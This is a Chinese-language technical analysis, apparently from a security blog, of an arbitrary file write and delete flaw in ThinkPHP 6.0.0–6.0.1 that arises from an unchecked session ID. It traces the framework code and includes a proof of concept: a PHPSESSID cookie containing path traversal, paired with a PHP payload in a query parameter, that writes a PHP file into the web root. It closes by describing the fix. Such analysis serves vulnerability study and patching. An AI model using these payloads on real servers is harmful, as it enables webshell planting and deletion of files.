准备
创建代码:
composer create-project topthink/think thinkphp6.0.1
"require": {
"php": ">=7.1.0",
"topthink/framework": "6.0.1",
"topthink/think-orm": "^2.0"
},
composer update
ThinkPHP6默认不开启session,我们需要修改app\middleware.php文件
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];
index控制器:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : '';
$b = isset($_GET['b']) && !empty($_GET['b']) ? $_GET['b'] : '';
session($a,$b);
}
}
漏洞影响版本:
THINKPHP 6.0.0~6.0.1
任意文件写入分析
先看看session函数干了什么:
/**
* Session管理
* @param string $name session名称
* @param mixed $value session值
* @return mixed
*/
function session($name = '', $value = '')
{
if (is_null($name)) {
// 清除
Session::clear();
} elseif ('' === $name) {
return Session::all();
} elseif (is_null($value)) {
// 删除
Session::delete($name);
} elseif ('' === $value) {
// 判断或获取
return 0 === strpos($name, '?') ? Session::has(substr($name, 1)) : Session::get($name);
} else {
// 设置
Session::set($name, $value);
}
}
前面的if都无法满足,跟进Session::set()
方法:
再跟进Arr::set
:
/**
* Set an array item to a given value using "dot" notation.
*
* If no key is given to the method, the entire array will be replaced.
*
* @param array $array
* @param string $key
* @param mixed $value
* @return array
*/
public static function set(&$array, $key, $value)
{
if (is_null($key)) {
return $array = $value;
}
$keys = explode('.', $key);
while (count($keys) > 1) {
$key = array_shift($keys);
// If the key doesn't exist at this depth, we will just create an empty array
// to hold the next value, allowing us to create the arrays to hold final
// values at the correct depth. Then we'll keep digging into the array.
if (!isset($array[$key]) || !is_array($array[$key])) {
$array[$key] = [];
}
$array = &$array[$key];
}
$array[array_shift($keys)] = $value;
return $array;
}
可以看到入参是&$array
,所以在这个函数里可以修改$this->data
。
这里$key
就是get传的参数a,$value
是get传的参数b,分别是session的键和值。
看一下逻辑。如果键为空,就用$value
覆盖$this->data
。这里传入的键只有一个,因此也进入不了那个while,直接是这样处理的:
$array[array_shift($keys)] = $value;
相当于给session写入一个键值对了。然后这个session函数就结束了。
这里可能会很懵,但是先看一下github:
发现setId()方法似乎存在问题。全局查找一下这个发现,发现它在SessionInit类的handler方法中被调用:
/**
* Session初始化
* @access public
* @param Request $request
* @param Closure $next
* @return Response
*/
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();
if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}
if ($sessionId) {
$this->session->setId($sessionId);
}
$this->session->init();
$request->withSession($this->session);
/** @var Response $response */
$response = $next($request);
$response->setSession($this->session);
$this->app->cookie->set($cookieName, $this->session->getId());
return $response;
}
这个方法是进行session的初始化,既然开启了session,前面肯定会执行这个函数。
分析一下,$varSessionId
获得session.var_session_id这个配置,默认为空:
$cookieName
获取的是session
的$name
,默认是PHPSESSID
:
因此第一个if进不去,进入else:
$sessionId = $request->cookie($cookieName);
获取cookie中键为PHPSESSID的值作为$sessionId
:
之后就进入这个有漏洞的setId()
:

if ($sessionId) {
$this->session->setId($sessionId);
}
这里的$sessionId
是我们可控的,只要它的长度是32,就会被赋值给$this->id
。这个又有什么用呢?
public下的index有一个end方法:
对中间件进行了end():
对中间件进行结束调度,通过打断点,发现有一个$instance
是SessionInit
:
因此会调用SessionId
类的end方法:
跟进save():
这里$sessionId
就是$this->id
。之前在session()方法中,就把我们可控的键值对写入了$this->data
,因此$this->data
不空,会对其进行一次序列化。然后进入write方法:
跟进getFileName()
:
$this->config['prefix']
为空,因此$name = 'sess_' . $name;
就是sess_
和我们可控的$name
进行拼接。之后再进入writeFile()方法:
进行文件写入。因此这里$path
的后面部分可控,$content
可控,因此可以进行任意文件写入。
构造一下:
?a=1&b=<?php phpinfo();?>
PHPSESSID=/../../../public/11111111111.php
任意文件删除
但是正常的情况下,session的内容是不可控的,所以正常是没法控制写入的内容,无法写马。但是可以在开启session的情况下,可以任意删除:
PHPSESSID=/../../../public/11111111111.php;
修复
整体都分析过了,再反过来看一下这个修复:
这样就算开启了session且内容可控,但是只能写入数字字母,也无法写马了。